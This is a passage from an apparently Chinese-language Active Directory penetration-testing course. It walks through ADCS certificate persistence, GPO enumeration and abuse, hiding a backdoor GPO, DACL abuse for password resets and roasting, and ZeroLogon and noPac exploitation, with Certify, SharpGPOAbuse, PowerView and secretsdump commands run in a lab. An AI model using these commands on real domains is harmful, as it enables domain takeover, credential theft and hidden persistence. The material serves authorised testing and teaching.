 该终端允许用户通过基于 Web 的界面请求和检索证书,而不是通过 Certificates MMC 管理单元或 certreq 命令行工具使用传统的证书注册过程。 此功能允许无法直接访问 ADCS 基础设施的远程用户或设备轻松注册和检索证书。

image.png

但是,该终端容易受到 NTLM 中继攻击。 我们可以使用 SpoolSample PetitPotam 等工具,强制域控制器向攻击者的中继服务器进行身份认证,然后中继服务器将请求,中继到 CA 以获得域控制器的证书。NTLM 中继的技术细节我们会在后续章节说明。



持久化

我们还可以通过 ADCS 实现访问持久化。 通常来说,模板 User Machine 是可用的,默认情况下允许任何域用户/计算机申请证书。

用户持久化

申请用户证书是保持访问持久性的好方法,因为证书默认有效期为一年,无论密码是否更改。 请求证书不与 lsass.exe 交互,因此它有更好的 OPSEC。

要为当前用户申请证书,请执行以下命令:

certify.exe request /ca:<CA> /template:User

image.png


主机持久化

计算机帐户是一种特殊类型的域用户,每个计算机帐户都以 $ 结尾。 因此,该过程类似于请求用户证书。

请求计算机证书需要本地管理员权限,添加标志 /machine 告诉 Certify 提升到 SYSTEM

certify.exe request  /ca:<CA>/template:Machine  /machine

image.png

GPO的利用

在 AD 环境中进行渗透测试时,GPO 对我们来说会是一个具有吸引力的目标。如果我们对 GPO 具有修改权限或更高权限,我们就可以攻陷其他用户并获得远程代码执行或/和横向移动,以及持久化访问。 以下屏幕截图显示了 PROD 域 中的所有 GPO。 在开始枚举和利用之前,让我们熟悉一些有关 GPO 的术语。

概念与术语

组策略

组策略是 Windows 操作系统的一项功能,用于控制用户和计算机帐户的工作环境。 组策略在 Active Directory 环境中提供操作系统、应用程序和用户设置的集中管理和配置。

GPO

组策略对象 (GPO) 是一组设置,用于定义系统的配置及其对预定义用户组的作用。 GPO 可以链接到 AD 中的站点组织单位 (OU)。 它们可用于配置系统设置、安装软件以及将安全策略应用于这些容器中的用户和计算机。

image.png

新建域中有两个默认 GPO:默认域控制器策略默认域策略。每个 GPO 都有一个唯一的 GUID。 例如,默认域控制器策略的 GUID 是 {6AC1786C-016F-11D2-945F-00C04fB984F9},每个域都将具有相同的值。自定义 GPO AppLocker 的 GUID 是 {6CBEAF1A-9C1D-4FEA-A0A8-4D4053996030}

image.png

image.png


OU 组织单位

组织单位 (OU) 是一个容器对象,可以容纳其他 AD 对象,例如用户帐户、计算机帐户和其他 OU。OU 用于分层组织和管理 AD 对象,并可用于委派对特定对象或对象组的管理控制。 PROD 域中有 6 个 OU; 它们分别是 Domain Controllers,、Groups, Assets,、File Server,、Web ServerSQL Server。其中,OU Assets 包含了 2 个 OU:File Server,  SQL Server。

image.png

GPLink,即 GPO 链接,可以连接到 AD 容器,例如站点、域或 OU。GPO 链接将 GPO 应用于它们链接到的容器内的对象。GPO 链接可以被启用禁用强制不强制,以及配置 GPO 作用的顺序。一个 GPO 可以链接到多个 OU,链接到 OU 的 GPO 将应用于该 OU 和所有子 OU 中的所有对象。 但是,如果链接已启用但未强制,则子 OU 可以选择阻止继承

image.png

image.png

以 PROD 的上下文为例子,GPO Writable 作用于 Assets 这个 OU,默认情况下,Assets 包含的 2 个子 OU 全部会继承该 GPO 的作用。除非该 GPLink 被配置了启用但不强制,且子 OU 选择阻止继承。

image.png



在我们的例子中,GPO AppLocker 被链接到了 File Server,RunAsPPL 被链接到了 SQL Server,分别是域主机 File01,Srv0 被作用。 而默认域策略链接到 PROD 域,默认域控制器策略链接到了 OU Domain Controllers。

安全筛选

安全过滤是指定哪些用户和组帐户应受 GPO 影响的过程。 这允许管理员将策略应用于特定用户组,而不是组织单位 (OU) 中的所有用户。 我们注意到 GPO 的默认安全过滤设置是 Authenticated Users 组。

image.png

WMI 筛选器

WMI 过滤是 GPO 的一项功能,它允许管理员仅在满足 Windows Management Instrumentation (WMI) 查询的条件时才应用 GPO,进一步限制哪些计算机和用户受到影响。

image.png

WMI 查询的语法与 SQL 查询非常相似; 例如,要过滤所有 64 位计算机(尽管所有计算机都满足此查询),WMI 查询应该是:

SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="64-bit"

PROD 域中存在一个 WMI筛选器 Example,筛选出了所有的 64 位主机。

image.png

一个 GPO 一次只能分配 1 个 WMI 筛选器,并且域主体可以对其拥有 DACL。因此,WMI 过滤也会成为攻击目标。

SYSVOL

在 Dc01 上,SYSVOL 共享目录位于 C:\windows\sysvol。默认情况下,它对于域中所有认证用户都是可读的。SYSVOL 是 Windows AD 环境中域控制器上的一个文件夹,其中包含所有 GPO 策略文件的服务器副本。它们被复制到域中的所有其他域控制器。SYSVOL 文件夹确保相同的组策略和登录脚本文件在域中的所有计算机上可用。

image.png

组策略首选项

组策略首选项 (GPP) 是 AD 中组策略的一项功能,允许管理员配置和管理传统组策略设置未涵盖的设置。它扩展了组策略,使我们能够配置未包含在标准组策略设置中的设置,例如映射驱动器、计划任务和注册表设置。比如我们添加了一个GPP,它从指定的 SMB 服务器拉取一个文件,保存到 C 盘根目录。

image.png

添加完之后,在受影响的主机上,例如 File01,执行 gpupdate /force 命令。然后,文件就被拉取下来了。

image.png


客户端扩展

根据 Microsoft https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11) ,组策略首选项是组策略客户端扩展 (CSE) 的集合。 属性 gPCMachineExtensionNames 指定了组策略需要哪些 CSE。根据截图,上文我们提到的能拉取文件的 GPP 的preference值为 [{00000000-0000-0000-0000-000000000000}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}][{7150F9BF-48AD-4DA4-A49C-29EF4A836 9BA }{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}]

image.png


根据 https://gist.github.com/MyITGuy/92dcede89ab861ffb31cac9f284ffcc3 的脚本,这个值所对应的含义是 [{Core GPO Engine}{Preference Tool CSE GUID Files}][{Preference CSE GUID Files}{Preference Tool CSE GUID Files }]

	{00000000-0000-0000-0000-000000000000}  Core GPO Engine  
	{0E28E245-9368-4853-AD84-6DA3BA35BB75}  Preference CSE GUID Environment Variables  
	{0F6B957D-509E-11D1-A7CC-0000F87571E3}  Tool Extension GUID (Computer Policy Settings)  
	{0F6B957E-509E-11D1-A7CC-0000F87571E3}  Tool Extension GUID (User Policy Settings) – Restrict Run  
	{1612b55c-243c-48dd-a449-ffc097b19776}  Preference Tool CSE GUID Data Sources  
	{17D89FEC-5C44-4972-B12D-241CAEF74509}  Preference CSE GUID Local users and groups  
	{1A6364EB-776B-4120-ADE1-B63A406A76B5}  Preference CSE GUID Devices  
	{1b767e9a-7be4-4d35-85c1-2e174a7ba951}  Preference Tool CSE GUID Devices  
	{25537BA6-77A8-11D2-9B6C-0000F8080861}  Folder Redirection  
	{2EA1A81B-48E5-45E9-8BB7-A6E3AC170006}  Preference Tool CSE GUID Drives  
	{3060E8CE-7020-11D2-842D-00C04FA372D4}  Remote Installation Services.  
	{35141B6B-498A-4CC7-AD59-CEF93D89B2CE}  Preference Tool CSE GUID Environment Variables  
	{35378EAC-683F-11D2-A89A-00C04FBBCFA2}  Registry Settings  
	{3610EDA5-77EF-11D2-8DC5-00C04FA31A66}  Microsoft Disk Quota  
	{3A0DBA37-F8B2-4356-83DE-3E90BD5C261F}  Preference CSE GUID Network Options  
	{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}  Preference Tool CSE GUID Files  
	{3BFAE46A-7F3A-467B-8CEA-6AA34DC71F53}  Preference Tool CSE GUID Folder Options  
	{3EC4E9D3-714D-471F-88DC-4DD4471AAB47}  Preference Tool CSE GUID Folders  
	{40B66650-4972-11D1-A7CA-0000F87571E3}  Scripts (Logon/Logoff) Run Restriction  
	{42B5FAAE-6536-11d2-AE5A-0000F87571E3}  ProcessScriptsGroupPolicy  
	{47BA4403-1AA0-47F6-BDC5-298F96D1C2E3}  Print Policy in PolicyMaker  
	{4CFB60C1-FAA6-47f1-89AA-0B18730C9FD3}  Internet Explorer Zonemapping  
	{516FC620-5D34-4B08-8165-6A06B623EDEB}  Preference Tool CSE GUID Ini Files  
	{53D6AB1D-2488-11D1-A28C-00C04FB94F17}  Certificates Run Restriction  
	{5794DAFD-BE60-433f-88A2-1A31939AC01F}  Preference CSE GUID Drives  
	{5C935941-A954-4F7C-B507-885941ECE5C4}  Preference Tool CSE GUID Internet Settings  
	{6232C319-91AC-4931-9385-E70C2B099F0E}  Group Policy Folders  
	{6232C319-91AC-4931-9385-E70C2B099F0E}  Preference CSE GUID Folders  
	{6A4C88C6-C502-4f74-8F60-2CB23EDC24E2}  Preference CSE GUID Network Shares  
	{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}  Preference CSE GUID Files  
	{728EE579-943C-4519-9EF7-AB56765798ED}  Preference CSE GUID Data Sources  
	{74EE6C03-5363-4554-B161-627540339CAB}  Preference CSE GUID Ini Files  
	{79F92669-4224-476c-9C5C-6EFB4D87DF4A}  Preference Tool CSE GUID Local users and groups  
	{7B849a69-220F-451E-B3FE-2CB811AF94AE}  Internet Explorer User Accelerators/PolicyMaker  
	{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}  Computer Restricted Groups  
	{827D319E-6EAC-11D2-A4EA-00C04F79F83A}  Security   
	{88E729D6-BDC1-11D1-BD2A-00C04FB9603F}  Folder Redirection  
	{8A28E2C5-8D06-49A4-A08C-632DAA493E17}  Deployed Printer Connections  
	{91FBB303-0CD5-4055-BF42-E512A681B325}  Preference CSE GUID Services  
	{942A8E4F-A261-11D1-A760-00C04FB9603F}  Software Installation (Computers).  
	{949FB894-E883-42C6-88C1-29169720E8CA}  Preference Tool CSE GUID Network Options  
	{9AD2BAFE-63B4-4883-A08C-C3C6196BCAFD}  Preference Tool CSE GUID Power Options  
	{A2E30F80-D7DE-11d2-BBDE-00C04F86AE3B}  Internet Explorer Maintenance policy processing  
	{A3F3E39B-5D83-4940-B954-28315B82F0A8}  Preference CSE GUID Folder Options  
	{A8C42CEA-CDB8-4388-97F4-5831F933DA84}  Preference Tool CSE GUID Printers  
	{AADCED64-746C-4633-A97C-D61349046527}  Preference CSE GUID Scheduled Tasks  
	{B087BE9D-ED37-454f-AF9C-04291E351182}  Preference CSE GUID Registry  
	{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}  EFS Recovery  
	{B587E2B1-4D59-4e7e-AED9-22B9DF11D053}  802.3 Group Policy  
	{B9CCA4DE-E2B9-4CBD-BF7D-11B6EBFBDDF7}  Preference Tool CSE GUID Regional Options  
	{BACF5C8A-A3C7-11D1-A760-00C04FB9603F}  Software Installation (Users) Run Restriction  
	{BC75B1ED-5833-4858-9BB8-CBF0B166DF9D}  Preference CSE GUID Printers  
	{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}  Preference Tool CSE GUID Registry  
	{BFCBBEB0-9DF4-4c0c-A728-434EA66A0373}  Preference Tool CSE GUID Network Shares  
	{C418DD9D-0D14-4efb-8FBF-CFE535C8FAC7}  Preference CSE GUID Shortcuts  
	{C631DF4C-088F-4156-B058-4375F0853CD8}  Microsoft Offline Files  
	{C6DC5466-785A-11D2-84D0-00C04FB169F7}  Application Management  
	{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}  Preference Tool CSE GUID Scheduled Tasks  
	{CC5746A9-9B74-4be5-AE2E-64379C86E0E4}  Preference Tool CSE GUID Services  
	{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}  TCPIP  
	{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}  Preference Tool CSE GUID Shortcuts  
	{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}  Internet Explorer Machine Accelerators  
	{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}  Policy Maker  
	{CF848D48-888D-4F45-B530-6A201E62A605}  Preference Tool CSE GUID Start Menu  
	{D02B1F72-3407-48AE-BA88-E8213C6761F1}  Tool Extension GUID (Computer Policy Settings)  
	{D02B1F73-3407-48AE-BA88-E8213C6761F1}  Tool Extension GUID (User Policy Settings)  
	{e437bc1c-aa7d-11d2-a382-00c04f991e27}  IP Security  
	{E47248BA-94CC-49C4-BBB5-9EB7F05183D0}  Preference CSE GUID Internet Settings  
	{E4F48E54-F38D-4884-BFB9-D4D2E5729C18}  Preference CSE GUID Start Menu  
	{E5094040-C46C-4115-B030-04FB2E545B00}  Preference CSE GUID Regional Options  
	{E62688F0-25FD-4c90-BFF5-F508B9D2E31F}  Preference CSE GUID Power Options  
	{F0DB2806-FD46-45B7-81BD-AA3744B32765}  Policy Maker  
	{F17E8B5B-78F2-49A6-8933-7B767EDA5B41}  Policy Maker  
	{F27A6DA8-D22B-4179-A042-3D715F9E75B5}  Policy Maker  
	{f3ccc681-b74c-4060-9f26-cd84525dca2a}  Audit Policy Configuration  
	{F581DAE7-8064-444A-AEB3-1875662A61CE}  Policy Maker  
	{F648C781-42C9-4ED4-BB24-AEB8853701D0}  Policy Maker  
	{F6E72D5A-6ED3-43D9-9710-4440455F6934}  Policy Maker  
	{F9C77450-3A41-477E-9310-9ACD617BD9E3}  Group Policy Applications  
	{FB2CA36D-0B40-4307-821B-A13B252DE56C}  Enterprise QoS  
	{FC715823-C5FB-11D1-9EEF-00A0C90347FF}  Internet Explorer Maintenance Extension protocol  
	{FD2D917B-6519-4BF7-8403-456C0C64312F}  Policy Maker  
	{FFC64763-70D2-45BC-8DEE-7ACAF1BA7F89}  Policy Maker  


枚举

我们有多种方式来枚举GPO,无论是通过系统自身特性,还是工具。收集足够的信息对于利用 GPO 至关重要。

SYSVOL

考虑到 SYSVOL 包含所有 GPO 的策略文件,并且任何认证的域用户都可以访问此共享,我们可以检查文件和文件夹以枚举 GPO 信息。 访问UNC路径 \\dc01.prod.raven-med.local\sysvol\prod.raven-med.local\policies,我们可以看到所有GPO的文件夹:

image.png

每个文件夹都是 {GUID} 的格式,因此,文件夹 {6CBEAF1A-9C1D-4FEA-A0A8-4D4053996030} 存储 GPO AppLocker 的策略文件。GPO 文件夹中有 MachinesUser 两个文件夹和一个 ini 文件 GPT.INI。ini文件包含版本信息,如果版本值增加,命令 gpupdate 将应用新设置。

image.png

我们在 Machine 文件夹中找到一个文件 Registry.pol; 它包含详细的 AppLocker 设置。虽然显示较为凌乱,但是我们还是能提取到配置信息的。

image.png

查看 GPO RunAsPPL 的配置文件,我们发现 Registry.xml 文件配置了作用于目标 OU 的注册表设置

<?xml version="1.0" encoding="utf-8"?>
<RegistrySettings clsid="{A3CCFC41-DFDB-43a5-8D26-0FE8B954DA51}"><Registry clsid="{9CD4B2F4-923D-47f5-A062-E897DD1DAD50}" name="RunAsPPL" status="RunAsPPL" image="12" changed="2023-01-29 00:35:32" uid="{08A03E5C-2C7C-4680-80DF-5913AC43ECD5}"><Properties action="U" displayDecimal="0" default="0" hive="HKEY_LOCAL_MACHINE" key="SYSTEM\CurrentControlSet\Control\Lsa" name="RunAsPPL" type="REG_DWORD" value="00000001"/></Registry>
</RegistrySettings>

image.png

寻血猎犬

在 BloodHound 中,我们可以直观地观察域对象与 GPO 之间的关系。例如,计算机帐户 Srv01$ 对GPO Writable 具有修改权限。

image.png

而 Writable 影响 OU Assets

image.png

因为 Assets 包含子 OU,最终有 2 台域主机被 Writable 所影响。

image.png

PowerView

我们在前面的章节中简要地谈到了使用 PowerView 来枚举 GPO,让我们回顾一下,以 GPO AppLocker 为例。

image.png

我们可以看到 GPO 的多个属性,例如 displayname、GUID、gpcmachineextensionnames、版本信息等。

要查找对 GPO 具有修改权限的普通用户 (非域管理员等高权限用户),执行以下命令:

Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
ConvertFrom-SID <得到的SID>
get-netgpo | ?{$_.name -eq "{<得到的GUID>}"}

我们发现,有一个普通用户对一 GPO 具有修改权限,查询返回了该用户的 SID 与 GPO 的 GUID。

image.png

查询该 SID,发现是 SRV01$ 主机账号。查询该 GPO,发现是 GPO Writable。那么,至此,我们已经发现了一个 GPO 的利用途径。

image.png

SharpGPO

SharpGPO (https://github.com/Dliv3/SharpGPO) 是枚举和操纵 GPO、OU、GPLink 和安全过滤器的优秀工具。我们先下载源码,打开项目文件,然后将文件 GPO.cs 199 行到 203 行的代码片段注释掉。否则,在运行时我们会遇到异常。 修改后重新编译,得到二进制文件。

image.png

            /*    DirectoryEntry[] sites = GetSites();
                foreach (DirectoryEntry site in sites)
                {
                    links.Add(site, GetGPOByGpLink((string)site.Properties["gPLink"].Value));
                }*/

枚举所有 OU:

SharpGPO.exe --Action GetOU

image.png

枚举所有 GPO:

SharpGPO.exe --Action GetGPO

image.png

枚举所有 GPLink:

SharpGPO.exe --Action GetGPLink

image.png

如果没有注释之前提到的代码片段,会有如下报错:

image.png  

枚举特定 GPO 的安全过滤器:

SharpGPO.exe --Action GetSecurityFiltering --gponame AppLocker

image.png


利用

根据前面的枚举,主机账号 Srv01 对GPO Writable 有修改权限,因此,我们可以利用不安全的权限来获得代码执行、横向移动和访问持久化。我们也有多种方式来实现这些目标。

可写 GPO

从 Srv01 获取 SYSTEM 会话,并分别尝试将文件写入 AppLockerWritable 的文件夹。Srv01$ 不可以在 AppLocker 文件夹中写入文件,即没有写权限。

image.png

而对于拥有写权限的 GPO Writable 的文件夹,Srv01$ 成功写入了文件。

image.png

因此,用户对 GPO 及其 SYSVOL 共享文件夹的权限是一致的。考虑到 Srv01 没有足够的权限来操作 Dc01。

之前,我们在 GPO Writable 上添加了一个 GPP,即从 File01 的 Tools 共享中拉取一个文本文件。这篇文章 (https://www.trustedsec.com/blog/weaponizing-group-policy-objects-access/?utm_content=140183152&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306) 很好地说明了如何操作策略文件,以及 gPCMachineExtensionNames 属性以修改首选项。例如,我们可以修改首选项以创建计划任务来执行我们的载荷。但是,要实现这一点,我们需要以正确的格式创建一个 XML 文件 ScheduledTasks.xml,找到所需的 gPCMachineExtensionNames 属性值 [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}],并更新 GPT.INI 文件。SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse) 或 SharpGPO 等工具已经为我们包装了这些步骤和操作,我们可以使用以下命令运行 SharpGPOAbuse:

sharpgpoabuse.exe --AddComputerScript --ScriptName logon.bat --ScriptContents "calc.exe" --GPOName "Writable"

image.png

我们可以看到,脚本被创建成功了:

image.png

GPT.INI 也被修改了,现在版本为 9。

image.png

Srv01 对 GPO Writable 具有修改权限,但并非是整个 GPO 功能,所以不能新建 GPO。考虑到 Srv01 可以将 GPO 链接到域控制器,我们可以进而拿下 Dc01。

image.png

要创建到 OU Domain Controllers 的新 GPLink,命令应为:

sharpgpo.exe --Action NewGPLink --DN "OU=Domain Controllers,DC=prod,DC=raven-med,DC=local" --GPOName Writable

image.png

查看当前的 GPLink,Writable 成功被链接到了 OU Domain Controllers

image.png


修改 WMI 筛选器

Rasta Mouse 曾发布了一篇有关 WMI 筛选器利用的文章 (https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/)。Srv01$ 对 WMI 筛选器 Example 具有控制权。

image.png

登陆 Dc01,赋予 GPO AppLocker 该 WMI 筛选器。

image.png

当前该筛选器的作用范围是目标 OU 中的 64 位主机。编辑该 WMI 筛选器,将其修改为作用于 32 位的主机。因为 File01 是 64 位的,因此,在组策略更新后不会再被这个 GPO 所作用。

SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="32-bit" 

image.png

综上所述,Srv01 可以修改应用于GPO AppLocker 的WMI 筛选器 Example,但不能修改该 GPO。让我们如下添加一个计算机首选项,然后返回 File01 的会话并检查新文件是否保存到 C 盘。

image.png

更新 GPO,查看本地文件,发现该文件并未被拉取到 C 盘,这是预期的,因为系统是 64 位的,并不在 WMI 筛选器的范围内。

image.png

使用 PowerView 枚举当前用户可写的 WMI 过滤器,命令如下所示:

Get-DomainObjectAcl -SearchBase "CN=SOM, CN=WmiPolicy, CN=System, DC=prod, DC=raven-med, DC=local" -LDAPFilter "(objectclass=msWMI-Som)" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -like "*WriteProperty*" }

image.png


GUID 是 {81E9A3D8-3295-4577-8D2E-8944B84B13DE}

计算新查询的长度,得到是 66,通过以下语句修改 WMI 查询:

Set-DomainObject -Identity“{F0BB405E-87C9-42E0-8384-13C79692A678}”-Set @{ 'mswmi-parm2' = '1;3;10;66;WQL;root\CIMv2;SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture = “64 位”' } - verbose

image.png

image.png

修改成功后,更新组策略。然后发现文件已经从 SMB 目录中被拉取到本地磁盘上了。

image.png

隐藏持久化

我们提到 GPO 可被利用于持久化访问。为了更隐蔽地持久化访问,文章 https://pentestmag.com/gpo-abuse-you-cant-see-me/ 讨论了一个技巧。假设我们已经通过利用 GPO 接管了域管理员或域控制器,我们可以登录 Dc01 来隐藏我们的持久化。 打开 Active Directory Users and Computers,选择GPO Writable 的 Security 选项卡,添加一个 DENY ACE,防止所有主体读写该 GPO。

image.png

让我们比较之前和之后:

image.png

通过这种方式,我们可以隐藏我们的后门 GPO 并实现更隐蔽的持久化。

DACL的利用

随着我们拿下越来越多的用户和主机,我们发现其中一些主体对其他域对象具有特定权限。例如,其中一个用户可以直接重置另一个用户的密码。 如果有意地利用这些权限,我们可以接管更多用户实现域内提权和横向移动。为了理解这种攻击,我们需要知道 DACL 的概念。在 AD 的上下文中,DACL 是访问控制条目 (ACE) 的列表,它指定允许或拒绝哪些用户或组访问特定资源,例如计算机、SMB 共享或用户帐户 . DACL 作为对象的属性存储,用于对对象实施访问控制。

DACL 中的每个 ACE 指定了授予或拒绝特定用户或组的访问权限以及适用于这些权限的权限。在我们的 Lab 种,med-factory 域中的用户 jason 可以在不知道 justin 当前密码的情况下重置 justin 的密码。我们可以在下图中看到 justin 上的 DACL。

image.png

从 DACL 来看,这个 ACE 明确指出 jason 可以重置 justin 的密码。除此之外,本 Lab 中还有着其他可利用的 DACL,我们可以通过利用这些配置不当或者沦陷用户/主机的 DACL 来扩大我们的访问范围。接下来,我们讨论一些比较经典的 DACL 利用。

ForceChangePassword

上文提到,med-factory 中的 Jason 对 justin 具有强制修改密码的权限。我们在 ADCS 的利用中见识到了,作为 ADCS Manager 分组中的 Justin,可以利用配置不当的 ADCS 实现域内提权。不过在那时,我们以白盒的视角去讨论 ADCS 的利用的。在黑盒的渗透下,如果我们拿下 jason,可以进而拿下 justin 以及整个 med-factory 域。

image.png

在之前的内容中,我们发现 raven-med 域中的 jason 可被 ASREPROASTING 所攻击,并且我们成功地还原出了 raven-med\jason 的明文密码,为 1q2w3e4r。而在 med-factory 也存在 jason 的用户,并且考虑到 raven-med 与 med-factory 这两个森林之间存在信任关系,因此我们推测 med-factory 中的 jason 的密码也为 1q2w3e4r,即密码重用

image.png

image.png

要利用 ForceChangePassword 这个 DACL,创建一个 med-factory\jason 的上下文,导入 powerview 脚本,执行以下语句:

Set-DomainUserPassword -Domain med-factory.local -Identity justin -AccountPassword (ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force) -Verbose

image.png

就这样,我们成功修改了 justin 的密码了。需要注意的是,这类修改或重置目标用户密码的举动,十分容易引起警戒,我们需要权衡好利弊再行动。

GenericWrite

在我们的实验中,也存在着 GenericWrite 的利用。与 ForceChangePassword 不同的是,被该 DACL 所作用的目标可以是用户,可以是群组,可以是计算机。因此,利用的思路与方法也有所不同。在下文我们还会介绍 GenericAll,GenericAll 的权限范围比 GenericWrite 更大,因此我们之后会介绍 GenericAll 所独有的、更快捷的利用手段。

对象为用户

当 GenericWrite 作用的对象是另一个用户时,利用手段是为目标用户添加一个 SPN 然后进行 Kerberosting 攻击,或者设置该用户禁用预认证,然后进行 ASREPRoasting 攻击。如果目标用户的密码强度不足够,那么我们可以获得明文密码。

image.png

我们可以通过以下 PowerView 的语句为 app_security 设置一个 SPN,然后再使用 rubeus 对其进行 kerberoasting 攻击。

Set-DomainObject -Identity app_security -set @{serviceprincipalname='fake/srv01.prod.raven-med.local'}

image.png

最终,我们得到 app_security 的密码为 spongebob

image.png

同样的,我们也可以为其设置禁用预认证,通过修改 UAC 值实现:

Get-DomainUser -Identity app_security | ConvertFrom-UACValue
Set-DomainObject -Identity app_security -XOR @{UserAccountControl=4194304}

image.png

修改后,我们发现 app_security 增加了不需要预认证的属性。

image.png

最后,使用 rubeus 对其进行 asreproasting 攻击:

image.png

对象为主机

如果作用对象为主机,那么大家肯定想到了 RBCD 的利用。因为此前已经讲述过 RBCD 的原理及利用,这里不再赘述。

image.png


GenericAll

GenericAll 的权限范围比GenericWrite 更大,因此除了上述 GenericWrite 的利用思路与步骤可行外,还有一些独有的利用手法。

对象为用户

我们看到,用户 network_security 对 backup_operator 具有 GenericAll 权限。但是首先,我们怎么获得 network_security 的会话呢?我们刚刚获得了 app_security 的明文密码,为 spongebob。而 app_security 与 network_security 的账户形式较为接近,可能为同一部门/用户所掌管,因此,可能存在密码重用的情况。我们可以稍后创建一个 network_security 的上下文来验证此猜想。

image.png

既然 GenericAll 的作用对象也是用户,那么一切就很简单了,我们可以直接使用 net.exe 对其进行密码修改。

image.png

如图所示,不仅我们的猜想被验证成功了,而且也修改了 backup_operator 用户的密码,因此得以进一步扩大我们的访问。


更多

考虑到 DACL 利用的情景众多,本实验容纳不下所有的 DACL 利用的案例,大家可以参考 BloodHound 的官方文档 https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html 来查看特定 DACL 的具体的利用手段,甚至附上了 PowerView 或 Rubeus 的利用步骤与命令,十分实用。

以 WriteDacl 为例,文档分类讲解了对象是组、用户、主机时,利用的思路与步骤是怎样的。根据下图的文档截图,我们可以看到,如果对象是组,那么我们可以赋予当前用户添加成员的权限。如果对象是用户,那么赋予当前用户所有特权,这样,我们可以像 ForceChangePassword 的利用过程一样,修改目标用户的密码。如果对象是主机,同样赋予当前用户所有特权,然后可以阅读该主机的 LAPS 密码 (如果该主机启用了 LAPS),或者进行 RBCD 的利用从而获得远程代码执行。

image.png

作为一个小练习,请学员们完成如下表格,完成后可以当做自己的一个 Cheatsheet。

DACL 对象类型 利用思路 具体步骤
WriteDacl 用户





计算机

GenericAll 用户





计算机

GenericWrite 用户

为目标用户设置 SPN 然后对其进行 Kerberoasting 攻击

或 为目标用户设置禁用预认证,然后对其进行 ASREPRoasting 攻击






计算机

ForceChangePassword 用户

WriteOwner 任意

AllExtendedRights 用户





计算机

历史漏洞的利用

CVE-2020-1472 ZeroLogon漏洞

因为脆弱的密码学设计,攻击者可以绕过认证并模仿任何域主机,包括域控制器,以实现提权。

Zerologon 的核心问题是 Netlogon 远程协议的加密实现中存在缺陷。该协议使用 AES-CFB8 加密方案的自定义实现,这需要一个初始化向量 (IV)。Microsoft 的实现使用 16 个零字节的固定 IV,使其容易受到攻击。如下图所示,当全 0 的 IV 与全 0 的输入,即便密钥是随机的,有1/256 的概率得到 8 位的全 0 密文。空间为 256 的密钥空间是极小的,现在的计算机可以瞬间完成计算。

image.png

该漏洞允许攻击者模仿网络上的任何计算机,包括域控制器本身,并在目标域控制器上执行远程过程调用 (RPC)。攻击者可以通过向域控制器发送一系列具有全零客户端凭证的特制 Netlogon 消息来利用此漏洞,这导致域控制器接受攻击者作为具有特权的有效用户,从而使攻击者可以完全接管域。

这里我们使用来自 https://github.com/leitosama/SharpZeroLogon 的 exp。在之前的章节中,我们使用该工具的检测模式检测出了 dc01 受该漏洞影响。我们再来回顾一下:

在域内环境的话,我们只需要指定域控制器即可,发现该域控可被 zerologon 漏洞的攻击所接管。

image.png

增加 -reset 选项,来重置 dc01 主机的凭证:

image.png

这时,dc01 主机的哈希被重置为显示出的指定 NTLM。得到了 dc01 主机的新哈希后,我们可以使用 CobaltStrike 内置的 pth 命令。但是该命令需要当前主机的提升特权,而且因为会补丁 lsass.exe,一方面是特征较为显著,另一方面是会被 PPL 所阻止 (我们会在下一章节详细讲解 PTH 以及 PPL) 。

image.png

image.png

我们可以使用 Impacket 中的 secretdump 脚本来实现:

proxychains secretsdump.py  -dc-ip 172.16.1.11 -just-dc -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'dc01$'@prod.raven-med.local

image.png


CVE-2021-42278 NoPAC漏洞

该漏洞实际上利用了主机账号的伪造,攻击者可以从普通用户提升为域管理员。默认情况下,因为考虑到 BYOD 政策,普通域用户可以最多添加 10 台 计算机。计算机账户是一种特殊的账户,与普通用户账户不同的是,计算机账户以 $ 结尾,例如 Srv01$。

image.png

当添加了新的计算机,因为用户是所有者,自然拥有对添加的计算机的写权限,可以修改其 SPNsAMAccountName 等属性 (与 CVE-2022-26923 有异曲同工之妙)。攻击者需要清除计算机的 SPN,然后修改 sAMAccountName 属性,修改为与域控的一致 ( SPN 会随着 sAMAccountName 的改变而改变,因此需要先清除 SPN)。然后,使用 Rubeus 为新添加的主机申请一张 TGT,但由于我们修改了主机的名称,所以 /user 选项应该与域控的一致 (但没有 $ 结尾)。接着,恢复新添加主机的 sAMAccountName初始名称。最后,使用之前请求的 TGT 通过 S4U2Self 来申请 TGS,因为 TGT 中的 sAMAccountName 查找不到,于是 KDC 添加了一个 $ 后进行查找,自然就找到了域控制器。

听起来需要多个步骤可以完成,但这里我们可以使用来自 https://github.com/Ridter/noPac 的exp,一键式地帮助我们完成利用。

指定明文帐号密码,以及域名,用扫描模式检测一下漏洞的存在

image.png

